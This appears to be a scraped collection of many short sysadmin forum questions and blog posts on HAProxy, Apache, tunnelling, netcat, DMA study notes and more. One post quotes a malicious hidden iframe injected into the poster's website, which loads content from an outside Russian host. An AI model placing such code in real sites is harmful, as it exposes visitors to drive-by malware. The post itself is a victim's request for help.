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  • Which software could I use to setup a 4in6 IP tunnel (RFC 2473) on GNU/Linux

    - by Mildred
    Here is my problem. I have a server A that has two IP addresses. One public IPv4 and one IPv6. Server B has only one IPv6 address. I want to host most of my services on server B (because I have more disk space on it, I can control it better) but I need the IPv4 of the server A. I would like to set up a 4in6 tunnel (RFC 2473) between A and B so that I can transfer the traffic from the IPv4 address in A to B. If needed, I can request another IPv4 address on the server A, but I'd prefer not to. My question is: which software use to do the 4in6 tunnelling? I suppose OpenVPN can do the thing, but is there any implementation of the 4in6 protocol on Linux? A little more challenging: the IPv4 address comes from a venet interface, which cannot be bridged. How could I transfer ownership of this address I don't use on server A to the server B? Thank you

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  • Getting HAPROXY to redirect http to https in users browser session

    - by Jon
    We are currently using a Internet cloud provider to host our SaaS platform. The platform consists of a Firewall - Cloud Provider SLB - - Apache Web Server - HAPROXY SLB - Liferay Platform We have had to use HAPROXY because of an issue with the cloud providers SLB that meant we were unable to use it for load balancing the Liferay platform applications. I have implemented HAPROXY in our secure tier and that seems to do the trick of load balancing the requests quite adequately. However during testing we encountered a functional issue whereby selecting a sub-menu from the web portal resulted in the application hanging, using an http analyser we saw that the request being passed back to the users browser was in http, from discussing this with the software vendor it transpires that the Liferay application has some hard-coded http links, and that other customers have worked around this by using physical NLB's such as F5 and redirecting the http traffic to https. The entry in the HAPROXY logs reads: haproxy[2717]: haproxy[2717]: <Apache Web Agent>:37957 [11/Apr/2013:08:07:00.128] http-uapi uapi/<ServerName> 0/0/0/9/10 200 4912 - - ---- 4/2/1/2/0 0/0 "GET /servicedesk/controller?docommand=renderradform&!key=esd_sfb001_frm_feedback_forms_list&isportalintegratedmode=true&USR=joe.bloggs%40gmail.com&_dc=1365667773097&redirecturl=controller%3Fdocommand%3Drenderbody%26%21key%3DESD_SFB001_FRM_FEEDBACK_FORMS_LIST%26isportalintegratedmode%3Dtrue&sso_token=ALiYv2UqzLsAhSw1ZchRDlCHlq44Bhj9&ONERROR=%2Fweb%2Fjsp%2Fapps%2Fportal-integration-error.jsp&itype=login&slicetoken=NW51O%242aRo%2C_Zz%2476P_9DTtnFmz6%28bhk&AUTOFORWARDURL=controller%3Fdocommand%3Drenderbody%26%21key%3DESD_SFB001_FRM_FEEDBACK_FORMS_LIST%26isportalintegratedmode%3Dtrue&LOGINPAGE=https%3A%2F%2F<FQDN of Web Portal>%2Fweb%2F4732cf01-82c3-4bc5-b6c9-552253e672cf%2Fworkflow-tools&appid=1&!uid=1&!redownloadToken=7.0.3.1.1363611301.0&userlocale=en_US&!datechanged=2012-05-18%2015:05:31.38 HTTP/1.1" :37957 [11/Apr/2013:08:07:00.128] http-uapi uapi/<ServerName> 0/0/0/9/10 200 4912 - - ---- 4/2/1/2/0 0/0 "GET /servicedesk/controller?docommand=renderradform&!key=esd_sfb001_frm_feedback_forms_list&isportalintegratedmode=true&USR=joe.bloggs%40gmail.com&_dc=1365667773097&redirecturl=controller%3Fdocommand%3Drenderbody%26%21key%3DESD_SFB001_FRM_FEEDBACK_FORMS_LIST%26isportalintegratedmode%3Dtrue&sso_token=ALiYv2UqzLsAhSw1ZchRDlCHlq44Bhj9&ONERROR=%2Fweb%2Fjsp%2Fapps%2Fportal-integration-error.jsp&itype=login&slicetoken=NW51O%242aRo%2C_Zz%2476P_9DTtnFmz6%28bhk&AUTOFORWARDURL=controller%3Fdocommand%3Drenderbody%26%21key%3DESD_SFB001_FRM_FEEDBACK_FORMS_LIST%26isportalintegratedmode%3Dtrue&LOGINPAGE=https%3A%2F%2F<FQDN of Web Portal>%2Fweb%2F4732cf01-82c3-4bc5-b6c9-552253e672cf%2Fworkflow-tools&appid=1&!uid=1&!redownloadToken=7.0.3.1.1363611301.0&userlocale=en_US&!datechanged=2012-05-18%2015:05:31.38 HTTP/1.1" The corresponding HTTP browser entry shows: http://<FQDN of ServiceDesk>/servicedesk/controller?docommand=renderradform&!key=esd_org019_frm_contact_list&isportalintegratedmode=true&USR=joe.bloggs%40gmail.com&_dc=1365665987887&redirecturl=controller%3Fdocommand%3Drenderbody%26%21key%3DESD_ORG019_FRM_CONTACT_LIST%26isportalintegratedmode%3Dtrue&sso_token=3NxsXYORMPp32SwL8ftVUCMH2QdWLH82&ONERROR=%2Fweb%2Fjsp%2Fapps%2Fportal-integration-error.jsp&itype=login&slicetoken=NW51O%242aRo%2C_Zz%2476P_9DTtnFmz6%28bhk&AUTOFORWARDURL=controller%3Fdocommand%3Drenderbody%26%21key%3DESD_ORG019_FRM_CONTACT_LIST%26isportalintegratedmode%3Dtrue&LOGINPAGE=https%3A%2F%2F<FQDN of Web Portal>>%2Fweb%2F4732cf01-82c3-4bc5-b6c9-552253e672cf%2Fapplication-setup&appid=1&!uid=1&!redownloadToken=7.0.3.1.1363611301.0&userlocale=en_US&!datechanged=2012-10-26%2019:00:25.08 From reading through the forums and other sites it looks like we should be use to use HAPROXY to redirect the traffic to https, but try as I might I cant get it to work. This is our HAPROXY configuration: global log 127.0.0.1 local2 chroot /var/lib/haproxy pidfile /var/run/haproxy.pid maxconn 4000 user haproxy group haproxy daemon stats socket /var/lib/haproxy/stats defaults mode http log global option httplog option dontlognull option http-server-close option forwardfor except 127.0.0.0/8 option redispatch retries 3 timeout http-request 10s timeout queue 1m timeout connect 10s timeout client 1m timeout server 1m timeout http-keep-alive 10s timeout check 10s maxconn 3000 frontend http-openfire bind *:7070 default_backend openfire backend openfire balance roundrobin server <serverName> <IPv4 Address>:7070 check server <serverName> <IPv4 Address>:7070 check frontend http-uapi bind *:7080 default_backend uapi backend uapi balance roundrobin server <serverName> <IPv4 Address>:7080 check server <serverName> <IPv4 Address>:7080 check frontend http-sec bind *:8080 default_backend sec backend sec balance roundrobin server <serverName> <IPv4 Address>:8080 check server <serverName> <IPv4 Address>:8080 check frontend http-wall bind *:9080 default_backend wall backend wall balance roundrobin server <serverName> <IPv4 Address>:9080 check server <serverName> <IPv4 Address>:9080 check frontend http-xmpp bind *:9090 default_backend xmpp backend xmpp balance roundrobin server <serverName> <IPv4 Address>:9090 check server <serverName> <IPv4 Address>:9090 check frontend http-aim bind *:10080 default_backend aim backend aim balance roundrobin server <serverName> <IPv4 Address>:10080 check server <serverName> <IPv4 Address>:10080 check frontend http-servicedesk bind *:8081 default_backend servicedesk backend servicedesk balance roundrobin server <serverName> <IPv4 Address>:8081 check server <serverName> <IPv4 Address>:8081 check listen stats :1936 mode http stats enable stats hide-version stats realm Haproxy\ Statistics stats uri / stats auth haproxy:<Password> I have tried following the articles listed posted on http://stackoverflow.com/questions/13227544/haproxy-redirecting-http-to-https-ssl and http://parsnips.net/haproxy-http-to-https-redirect/ but that hasn't made any difference. Am I on the right track with this or are we trying to achieve the impossible?, I'm hoping I'm just being an idiot and one of you good people can point me in the right direction.

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  • HTTP, JSON, JavaScript, Map and Reduce built-in to MySQL

    - by Bertrand Matthelié
    Oracle MySQL Engineer Ulf Wendel delivered yesterday a talk about his Proof of Concept at the International PHP Conference in Berlin entitled: “HTTP, JSON, JavaScript, Map and Reduce built-in to MySQL - make it happen, today.” The presentation has been featured today on the home page of SlideShare, both into the “Hot on Facebook” and “Hot on Twitter” sections. Well done, Ulf! Especially just before the wedding…:) Presentation abstract: See how a MySQL Server plugin can be developed to build all this into MySQL. A new direct wire between MySQL and client-side JavaScript is created. MySQL speaks HTTP, replies JSON and offers server-side JavaScript. Server-side JavaScript gets access to MySQL data and does Map&Reduce of JSON documents stored in MySQL. Fast? 2-4x faster than proxing client-side JavaScript request through PHP/Apache. Reasonable results... Slides available here. And, talking about innovation… today is Oracle’s MySQL Innovation Day, you can still attend the event online. Register Now, it starts at 9.00 am PT.

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  • Apache Options -Indexes give me 404 instead of 403, why?

    - by netmano
    I have an Apache/2.2.21 (Debian) webserver, which I disabled directory listing with Options -Indexes but now I got 404 error for a directory, but I think I should get a 403. I have no idea why I get 404, rather than 403. What should I check? I have disabled autoindex module, after it I got a 404 for every URL that request a directory listing (eg: www.somesite.com/dir ). How can I get a 403 for this. (The dir does exist) As a try I also put Options -Index in the end of main config file (apache2.conf).

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  • Detecting man-in-the-middle attacks?

    - by Ilari Kajaste
    There seem to be many possible ways to create man-in-the-middle attacks on public access points, by stealing the access point's local IP address with ARP spoofing. The possible attacks range from forging password request fields, to changing HTTPS connections to HTTP, and even the recently discovered possibilit of injecting malicious headers in the beginning of secure TLS connections. However, it seems to be claimed that these attacks are not very common. It would be interesting to see for myself. What ways are there to detect if such an attack is being attempted by someone on the network? I guess getting served a plain HTTP login page would be an obvious clue, and of course you could run Wireshark and keep reading all the interesting ARP traffic... But an automated solution would be a tiny bit more handy. Something that analyzes stuff on the background and alerts if an attack is detected on the network. It would be interesting to see for myself if these attack are actually going on somewhere.

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  • Website attacked with a hidden iframe (q5x.ru)

    - by Dreas Grech
    A website of mine has recently been infected with some sort of attack that involved injecting a hidden iframe, and it's source was from a site q5x.ru (do not link). A Google search didn't help me in figuring out how this attack my have took place, so I was wondering if anyone of you may have encountered this same problem? The iframe code was something of the sort: <iframe src="http://q5x.ru:8080/index.php" width=109 height=175 style="visibility: hidden"></iframe> As per request, I am running an ASP.Net website with a database, and as regards forms, it's obviously the ASP.Net form that's used for postbacks.

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  • Copy wrongs and Copyright

    - by Tony Davis
    Recently, a Chinese blog website copied, wholesale and without permission, a Simple-Talk article on troubleshooting locking and blocking. Our initial reaction was exasperation and anger, tempered slightly by the fact that there was, at the top, a clear link to the original, and the book from which it was extracted. On the day the copy was posted, our original article saw a 30K spike in visits, so the site clearly has a substantial following! This made us pause for thought. Indeed, we wondered whether it might not be more profitable, and certainly more enjoyable, to notify the offender of similar content and serve a "put up" notice, rather than the usual DMCA "take down" . The DMCA request, issued to protect our and our authors' assets, is a necessary but tiresome, chore. So often, simple communication and negotiation could have averted the need for it. We are, after all, in the business of presenting knowledge, information and help to the SQL Server Community. If only they had asked! Of course, one's attitude changes according to the motivation behind the copying of content. One of the motivations seems to be pure vanity; they do it to try to enhance their CV, or their company's expertise, by pretending to expertise they don't possess. There is a class of plagiariser, however, that is doing it purely for money, getting advertising revenue by attracting hapless readers to their site. Not content with stealing content, sites can invest in services that provide 'load-testing' for websites that is so realistic that even the search engines can be fooled. Stolen content, fake visitors, swindled advertisers. Zero-tolerance is really the only way of dealing with plagiarism, and action will only be completely effective once Bing, Google, and the other search engines strike out from their listings the rogue sites that refuse to take down plagiarised content. It is, after all in everyone else's interests. Cheers, Tony.

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  • Proxification rulte for System process

    - by kseen
    I'm trying to configure Microsoft Visual Studio 2010 remote debugging and ran into issue: while connecting to remote computer running MSVSMON, client computer sends SYN request for connection. It makes it under the System process (as I see it in TCPView). As every network apps should be configured to use proxy in our network, I'm trying to add devenv.exe to proxification rules to make its traffic goes thru LAN's proxy server. It doesn't help. So my question is how can I make that low-level-system traffic will go through local area network proxy server?

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  • subversion problem on mac os x

    - by user32942
    This exists in my httpd.conf file: <Location /svn> DAV svn SVNParentPath /Users/iirp/Sites/svn Allow from all #AuthType Basic #AuthName "Subversion repository" #AuthUserFile /Users/iirp/Sites/svn-auth-file #Require valid-user </Location> This is working file When I change this to: <Location /svn> DAV svn SVNParentPath /Users/iirp/Sites/svn #Allow from all AuthType Basic AuthName "Subversion repository" AuthUserFile /Users/iirp/Sites/svn-auth-file Require valid-user </Location> and when I access my repository through URL, it gives me the authentication screen but after that screen my svn repository is not showing up correctly. to see message that it gives to me is: Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, [email protected] and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log.

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  • How to access apache behind home router?

    - by Filip
    Hi! I have public IP 89.103.xxx.yyy, then router and home network with 192.168.1.zz My router is set to portforward every 8056 on ip adress 192.168.1.5 (my PC), where apache is running. Apache listen is set to: Listen 127.0.0.1:80 Listen 192.168.1.5:8056 When i try: Listen 89.103.xxx.yyy:8056 I get message "unexpected end of apache" (I'm using easyphp for windows). Added: When i try to access 89.103.xxx.yyy via browser, it's prompting router request for authorization to access router web-settings. And when i try 89.103.xxx.yyy:8056, browser says that connection timed out =(

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  • Java Spotlight Episode 110: Arun Gupta on the Java EE 6 Pocket Guide @arungupta

    - by Roger Brinkley
    Interview with Arun Gupta on his new Java EE 6 Pocket Guide. Right-click or Control-click to download this MP3 file. You can also subscribe to the Java Spotlight Podcast Feed to get the latest podcast automatically. If you use iTunes you can open iTunes and subscribe with this link:  Java Spotlight Podcast in iTunes. Show Notes News Getting Started with JavaFX2 and Scene Builder Using the New CSS Analyzer in JavaFX Scene Builder JavaOne Latin America Keynotes NetBeans Podcast #62 - NetBeans Community News with Geertjan and Tinu Request for Project Nashorn (Open Source) JEP 170: JDBC 4.2 Open Sourcing: decora-compiler JPA 2.1 Schema Generation WebSocket, Java EE 7, and GlassFish Events Dec 3-5, jDays, Göteborg, Sweden Dec 4-6, JavaOne Latin America, Sao Paolo, Brazil Dec 14-15, IndicThreads, Pune, India Feature InterviewArun Gupta is a Java EE & GlassFish Evangelist working at Oracle. Arun has over 14 years of experience in the software industry working in various technologies, Java(TM) platform, and several web-related technologies. In his current role, he works very closely to create and foster the community around Java EE & GlassFish. He has participated in several standard bodies and worked amicably with members from other companies. He has been with the Java EE team since it’s inception. And since then he has contibuted to all Java EE releases.He is a prolific blogger at http://blogs.sun.com/arungupta with over 1000 blog entries and frequent visitors from all over the world reaching up to 25,000 hits/day. His new Java EE 6 Pocket Guide is now available on O’Reily What’s Cool Videos: Getting Started with Java Embedded JavaFX: Leverageing Multicore Performance JavaFX on BeagleBoard State of the Lambda: Libraries Edition FOSDEM 2013 CFP now open! The return of the Shark

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  • Accessing A Shared Directory That Has An Account White List

    - by Xan
    I'm on a LAN here at work and I have my desktop sharing some of my project folders. I can access the computer via \\ComputerIP\, but I can't actually open any of the folders. Upon attempting, I get the error: Windowns cannot access \ComputerIP\ProjectFolder You do not have permission to access \ComputerIP\ProjectFolder. Contact your network administrator to request access. For more information about permissions, see Windows Help and Support Now, this is understood considering I've made it so that you had to utilize the "Project" credentials to connect. I have a user account on my main computer hosting these shared folders that gives full access to the folders if you are this "Project" user. I can Remote Desktop the computer just fine from my laptop using either set of credentials. When I try to open these folders it doesn't give me the option to attempt to apply any credentials like it does when I remote desktop. How am I supposed to gain access to these folders?

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  • MaxClients in apache. How to know the size of my proccess?

    - by Larry
    From http://httpd.apache.org/docs/2.2/misc/perf-tuning.html The single biggest hardware issue affecting webserver performance is RAM. A webserver should never ever have to swap, as swapping increases the latency of each request beyond a point that users consider "fast enough". This causes users to hit stop and reload, further increasing the load. You can, and should, control the MaxClients setting so that your server does not spawn so many children it starts swapping. This procedure for doing this is simple: determine the size of your average Apache process, by looking at your process list via a tool such as top, and divide this into your total available memory, leaving some room for other processes. The main issue is that I can't understand how to know the size, because, well i have the size of httpd on no more of 3888 But, if we need to determine the number for MaxClients, and I have 4GB of RAM, so I get: 972, so I should use like 900 in the MaxClients?

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  • Mexico leading in Business Transformation Strategies:

    - by [email protected]
    By [email protected] on April 15, 2010 8:31 AM By John Burke Group Vice President Oracle Applications Business Unit I recently completed a business tour in Mexico, and was surprised by both the economic vibrancy of the country and the thought leadership expressed by many of the customers I met. An example of the economic vibrancy of the country: across the street from my hotel was the local Bentley dealership, Coach Store, Yves Saint Laurent and of course a Starbucks. I only made it to Starbucks. Both the Coach Store and YSL had a line of folks waiting to get in... As for thought leadership, there were several illustrations only on the first day. I had the opportunity to meet with a branch of the Mexican Federal Government. Their questions were not about clerical task automation, far from it! We discussed citizen on-line access to fees and services - for example looking up the duty on an international goods shipment, or tracking that my taxes have been received, or the status of my request for a certain service. Eligibility, policies and status. Having an integrated rules or policy automation system that would allow businesses and citizens to access accurate information and ensure the proper collection of fees and payment for 3rd party provided services. Then in the afternoon, I met with the owner of a roofing company (note: most roofs in Mexico are flat and made of cement). This CEO started discussing how he wanted to transform his business from a cement products company to a service company and market 5-10-15 year service contracts which would guarantee the structural integrity of the roof and of course that the roof would remain waterproof. Although his products were guaranteed, they required an annual inspection and most home owners never schedule that inspection until it is too late and water damage has occurred. These emergency calls reduce his margin and reduce customer satisfaction. This lead to a discussion of business models in general and why long term differentiation can only come from service, not just for the music or news industries, but also for roofing companies! I completely agreed with the transformational concepts described in both meetings and quickly understood why there is a Bentley dealership near my hotel.

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  • Organizations &amp; Architecture UNISA Studies &ndash; Chap 7

    - by MarkPearl
    Learning Outcomes Name different device categories Discuss the functions and structure of I/.O modules Describe the principles of Programmed I/O Describe the principles of Interrupt-driven I/O Describe the principles of DMA Discuss the evolution characteristic of I/O channels Describe different types of I/O interface Explain the principles of point-to-point and multipoint configurations Discuss the way in which a FireWire serial bus functions Discuss the principles of InfiniBand architecture External Devices An external device attaches to the computer by a link to an I/O module. The link is used to exchange control, status, and data between the I/O module and the external device. External devices can be classified into 3 categories… Human readable – e.g. video display Machine readable – e.g. magnetic disk Communications – e.g. wifi card I/O Modules An I/O module has two major functions… Interface to the processor and memory via the system bus or central switch Interface to one or more peripheral devices by tailored data links Module Functions The major functions or requirements for an I/O module fall into the following categories… Control and timing Processor communication Device communication Data buffering Error detection I/O function includes a control and timing requirement, to coordinate the flow of traffic between internal resources and external devices. Processor communication involves the following… Command decoding Data Status reporting Address recognition The I/O device must be able to perform device communication. This communication involves commands, status information, and data. An essential task of an I/O module is data buffering due to the relative slow speeds of most external devices. An I/O module is often responsible for error detection and for subsequently reporting errors to the processor. I/O Module Structure An I/O module functions to allow the processor to view a wide range of devices in a simple minded way. The I/O module may hide the details of timing, formats, and the electro mechanics of an external device so that the processor can function in terms of simple reads and write commands. An I/O channel/processor is an I/O module that takes on most of the detailed processing burden, presenting a high-level interface to the processor. There are 3 techniques are possible for I/O operations Programmed I/O Interrupt[t I/O DMA Access Programmed I/O When a processor is executing a program and encounters an instruction relating to I/O it executes that instruction by issuing a command to the appropriate I/O module. With programmed I/O, the I/O module will perform the requested action and then set the appropriate bits in the I/O status register. The I/O module takes no further actions to alert the processor. I/O Commands To execute an I/O related instruction, the processor issues an address, specifying the particular I/O module and external device, and an I/O command. There are four types of I/O commands that an I/O module may receive when it is addressed by a processor… Control – used to activate a peripheral and tell it what to do Test – Used to test various status conditions associated with an I/O module and its peripherals Read – Causes the I/O module to obtain an item of data from the peripheral and place it in an internal buffer Write – Causes the I/O module to take an item of data form the data bus and subsequently transmit that data item to the peripheral The main disadvantage of this technique is it is a time consuming process that keeps the processor busy needlessly I/O Instructions With programmed I/O there is a close correspondence between the I/O related instructions that the processor fetches from memory and the I/O commands that the processor issues to an I/O module to execute the instructions. Typically there will be many I/O devices connected through I/O modules to the system – each device is given a unique identifier or address – when the processor issues an I/O command, the command contains the address of the address of the desired device, thus each I/O module must interpret the address lines to determine if the command is for itself. When the processor, main memory and I/O share a common bus, two modes of addressing are possible… Memory mapped I/O Isolated I/O (for a detailed explanation read page 245 of book) The advantage of memory mapped I/O over isolated I/O is that it has a large repertoire of instructions that can be used, allowing more efficient programming. The disadvantage of memory mapped I/O over isolated I/O is that valuable memory address space is sued up. Interrupts driven I/O Interrupt driven I/O works as follows… The processor issues an I/O command to a module and then goes on to do some other useful work The I/O module will then interrupts the processor to request service when is is ready to exchange data with the processor The processor then executes the data transfer and then resumes its former processing Interrupt Processing The occurrence of an interrupt triggers a number of events, both in the processor hardware and in software. When an I/O device completes an I/O operations the following sequence of hardware events occurs… The device issues an interrupt signal to the processor The processor finishes execution of the current instruction before responding to the interrupt The processor tests for an interrupt – determines that there is one – and sends an acknowledgement signal to the device that issues the interrupt. The acknowledgement allows the device to remove its interrupt signal The processor now needs to prepare to transfer control to the interrupt routine. To begin, it needs to save information needed to resume the current program at the point of interrupt. The minimum information required is the status of the processor and the location of the next instruction to be executed. The processor now loads the program counter with the entry location of the interrupt-handling program that will respond to this interrupt. It also saves the values of the process registers because the Interrupt operation may modify these The interrupt handler processes the interrupt – this includes examination of status information relating to the I/O operation or other event that caused an interrupt When interrupt processing is complete, the saved register values are retrieved from the stack and restored to the registers Finally, the PSW and program counter values from the stack are restored. Design Issues Two design issues arise in implementing interrupt I/O Because there will be multiple I/O modules, how does the processor determine which device issued the interrupt? If multiple interrupts have occurred, how does the processor decide which one to process? Addressing device recognition, 4 general categories of techniques are in common use… Multiple interrupt lines Software poll Daisy chain Bus arbitration For a detailed explanation of these approaches read page 250 of the textbook. Interrupt driven I/O while more efficient than simple programmed I/O still requires the active intervention of the processor to transfer data between memory and an I/O module, and any data transfer must traverse a path through the processor. Thus is suffers from two inherent drawbacks… The I/O transfer rate is limited by the speed with which the processor can test and service a device The processor is tied up in managing an I/O transfer; a number of instructions must be executed for each I/O transfer Direct Memory Access When large volumes of data are to be moved, an efficient technique is direct memory access (DMA) DMA Function DMA involves an additional module on the system bus. The DMA module is capable of mimicking the processor and taking over control of the system from the processor. It needs to do this to transfer data to and from memory over the system bus. DMA must the bus only when the processor does not need it, or it must force the processor to suspend operation temporarily (most common – referred to as cycle stealing). When the processor wishes to read or write a block of data, it issues a command to the DMA module by sending to the DMA module the following information… Whether a read or write is requested using the read or write control line between the processor and the DMA module The address of the I/O device involved, communicated on the data lines The starting location in memory to read from or write to, communicated on the data lines and stored by the DMA module in its address register The number of words to be read or written, communicated via the data lines and stored in the data count register The processor then continues with other work, it delegates the I/O operation to the DMA module which transfers the entire block of data, one word at a time, directly to or from memory without going through the processor. When the transfer is complete, the DMA module sends an interrupt signal to the processor, this the processor is involved only at the beginning and end of the transfer. I/O Channels and Processors Characteristics of I/O Channels As one proceeds along the evolutionary path, more and more of the I/O function is performed without CPU involvement. The I/O channel represents an extension of the DMA concept. An I/O channel ahs the ability to execute I/O instructions, which gives it complete control over I/O operations. In a computer system with such devices, the CPU does not execute I/O instructions – such instructions are stored in main memory to be executed by a special purpose processor in the I/O channel itself. Two types of I/O channels are common A selector channel controls multiple high-speed devices. A multiplexor channel can handle I/O with multiple characters as fast as possible to multiple devices. The external interface: FireWire and InfiniBand Types of Interfaces One major characteristic of the interface is whether it is serial or parallel parallel interface – there are multiple lines connecting the I/O module and the peripheral, and multiple bits are transferred simultaneously serial interface – there is only one line used to transmit data, and bits must be transmitted one at a time With new generation serial interfaces, parallel interfaces are becoming less common. In either case, the I/O module must engage in a dialogue with the peripheral. In general terms the dialog may look as follows… The I/O module sends a control signal requesting permission to send data The peripheral acknowledges the request The I/O module transfers data The peripheral acknowledges receipt of data For a detailed explanation of FireWire and InfiniBand technology read page 264 – 270 of the textbook

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  • no-www redirect not working / DNS A record

    - by HonzaB
    I'm far from an expert on this, but I'll try to be as clear as possible. I have an eshop solution leased from a company and it's hosted on their server. I can access it thru company.com/myshop and it also allows me to set up to 3 domains that they should recognize and redirect to my specific shop from. I registered a domain with a different company and am trying to "redirect" it to the eshop. By means of one of the following DNS entries (as they look in the admin GUI) * A 111.111.111.111 *.myshop.com A 111.111.111.111 myshop.com A 111.111.111.111 I've managed to make www.myshop.com redirect to the IP of company.com (111.111.111.111), which then goes on to do exactly what I expect it to do (ie. recognizes it comes from my domain, does some further redirects itself). However, I can't seem to make myshop.com (ie. without the www) redirect to that IP, too. The company that I registered the domain with provides a "URL redirect" service, but google would only register the redirect request and wouldn't follow it. That's why I hope for a DNS solution to this - my assumption being I've managed to miss adding a record to the DNS; if, however, the reason lies elsewhere, I'd be happy to hear about that too. If it's a search engine friendly solution (ie the www/no-www dilemma - avoidance of double content penalties), then that's even better; have no prefference either way (www/no-www), just need it to work. Any help is greatly appreciated, thanks

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  • UI message passing programming paradigm

    - by Ronald Wildenberg
    I recently (about two months ago) read an article that explained some user interface paradigm that I can't remember the name of and I also can't find the article anymore. The paradigm allows for decoupling the user interface and backend through message passing (via some queueing implementation). So each user action results in a message being pased to the backend. The user interface is then updated to inform the user that his request is being processed. The assumption is that a user interface is stale by definition. When you read data from some store into memory, it is stale because another transaction may be updating the same data already. If you assume this, it makes no sense to try to represent the 'current' database state in the user interface (so the delay introduced by passing messages to a backend doesn't matter). If I remember correctly, the article also mentioned a read-optimized data store for rendering the user interface. The article assumed a high-traffic web application. A primary reason for using a message queue communicating with the backend is performance: returning control to the user as soon as possible. Updating backend stores is handled by another process and eventually these changes also become visible to the user. I hope I have explained accurately enough what I'm looking for. If someone can provide some pointers to what I'm looking for, thanks very much in advance.

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  • Mandatory Profiles on a Server 2003 TS Box

    - by Chloe
    I have a Windows Server 2003 box which will be acting as a terminal server. It will actually be running Citrix, but I don't believe that to be relevant here. There has been a request for every user to use a single mandatory profile. I've used mandatory profiles before, but there have been generally different profiles for different users so I've always used the "Terminal Services Profile" tab to good effect. What I'd like this time is a single setting, such as a Group Policy or similar that simply forces every non-domain admin user logging on to the box into using the mandatory profile. We'll be using Folder Redirection to take care of everything else. I'm aware of the following GPO: Computer Policy\Computer Configuration\Administrative Templates\Windows Components/Terminal Services Set path for TS Roaming Profiles But, as that's a computer policy, will it not apply to all users including administrators? If so, is it possible to exclude admins somehow?

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  • Perl not working with Nginx via fastcgi, cannot decipher error logs

    - by ProfessionalAmateur
    Im running CentOS 6.2, Nginx 1.2.3 following these Linode Instructions to get Perl to work with Nginx I've done everything upto the point of testing an actual Perl file. When I do this the browser says: The page you are looking for is temporarily unavailable. Please try again later. And my Nginx error-log shows the following: 2012/09/02 22:09:58 [error] 20772#0: *1 connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.102, server: localhost, request: "GET / HTTP/1.1", upstream: "fastcgi://127.0.0.1:8999", host: "192.168.1.10:81" Im stuck at this point. Im not sure if it matters but I also have spawn-fcgi and php-fpm to serve up PHP files on this site, but that should be 100% seperate from the perl-fastcgi setup, different port, etc.. How can I troubleshoot this?

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  • Recommendation on Ticket system with billing feature

    - by jacklty
    Actually, I do not know if I have used the right terms to describe our situation. Basically, We would like to have a system to help us to do billing and support at the same time. For example, we would like to offer outside users a customer support with ticket system, however the outside users need to purchase some credits beforehand through the system in order to submit their requests. Sometimes, our representatives will charge extra unit of credit for solving some open tickets due to the complexity and hours spent. (It will be nice to submit user a further billing request to same open ticket, and user can either accept/declined) Is there any available application or service we can use for the purpose above?

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  • Netcat server output with multiple greps

    - by Sridhar-Sarnobat
    I'm trying to send some data from my web browser to a txt file on another computer. This works fine: echo 'Done' | nc -l -k -p 8080 | grep "GET" >> request_data.txt Now I want to do some further processing before writing the http request data to my txt file (involving regex maniuplation). But if I try to do something like this nothing is written to the file: echo 'Done' | nc -l -k -p 8080 | grep "GET" | grep "HTTP" >> request_data.txt (for simplicity of explanation I've used another grep instead of say awk) Why does the 2nd grep not get any data from the output of the first grep? I'm guessing piping with netcat works differently to what I've assumed to get this far. How do I perform a 2nd grep before writing to my txt file? My debugging so far suggests: It is nothing to do with stderr vs stdout Parentheses don't help

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  • enable curl in cPanel control panel of a shared hosting for my account

    - by Jayapal Chandran
    I have hosted my site in a shared environment. Recently for security reasons the hosting company has disabled socket functions. When i enquired them they said that they will enable to people who personally request for that option. And they said it is a matter of 2 minutes work and asked for my control panel username and password. They said that it is just updating the php.ini for my account. So i want to know how to do it myself. If that could be done by them in 2 minutes then why cant a developer. I asked them but they mumbled... saying not to give trouble to me. so i want to know how to edit php.ini or something like stated above my hosting is using cPanel control panel. suggestions please.

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  • supervise apache with daemontools

    - by perlwle
    I am trying to setup daemontools for two apaches in one server. one apache 2.2 listening on port 80 proxy request to a second apache 1.3 listening on port 8888. ./run script as following: #!/bin/sh # apache 1.3 exec /apache_1_3/apache/bin/httpd -F #!/bin/sh # apache 2.2 exec /apache_2_2/apache/bin/httpd -D FOREGROUND daemontools monitors both apache fine. however, If I stop apache2.2 (using svc -t or apachectl), the apache 1.3 will see the following error in error_log [crit] (98)Address already in use: make_sock: could not bind to port 8888 I had to manually apachectl stop the apache1.3 to stop the error message clobber the log file. There is no such problem before using daemontools. any idea why this is happening?

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  • Software Developer Interview Question - Fair or Unfair

    - by user607018
    I just phone interviewed with a company for a graduate software developer position and was asked the following questions. I should add that the company concerned are not a database vendor. How does a query optimiser work? If a database was performing badly how would you use the performance logs to find out the problem. I have asked whether they ask such questions of all candidate software developers (graduate or experienced) in a first phone interview. They replied that they like to test their candidates knowledge of database development. I want to write to the company to say that these questions are unreasonable to ask at a software developer interview and to request that my interview be done over. I would like to check the reasonableness of the following assumptions a) Those questions cannot be fairly classified as database development questions. b) I think the questions are appropriate for a DBA interview but wholly unreasonable for a software developer interview (experienced or not). c) The first question is only relevant to a database vendor. d) The second question is not fair because software developers typically don't deal with database performance logs as that is the job of the DBA. Perhaps some of you will be kind enough to comment on my assumptions or may have any other suggestions, before I write to the company.

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  • Where is the bottleneck?

    - by jsymon
    There is a limit on connections somewhere along the line here... On a windows server 2008 machine, each request to a url running on localhost takes ~3 seconds to complete. This is fine and normal for the url. However, if i open the same localhost url in about 10 tabs, and set them to reload all at the same time, they finish sequentially, 3 seconds after each other. Meaning the last tab has taken 30 seconds to load (3s x 10). What is especially odd is that firebug reports each page as taking 3seconds to load. Another point to add is that the status bar just sits at 'done' for the last tab until 3 seconds before completing, where it then changes to 'waiting for localhost'. I am praying there is some connection limit somewhere otherwise this would be a disaster if more than one user ever visited the site at a time! Maybe a limit or something where one pc cant make more than 2 simultaneous requests to a url at a given time?

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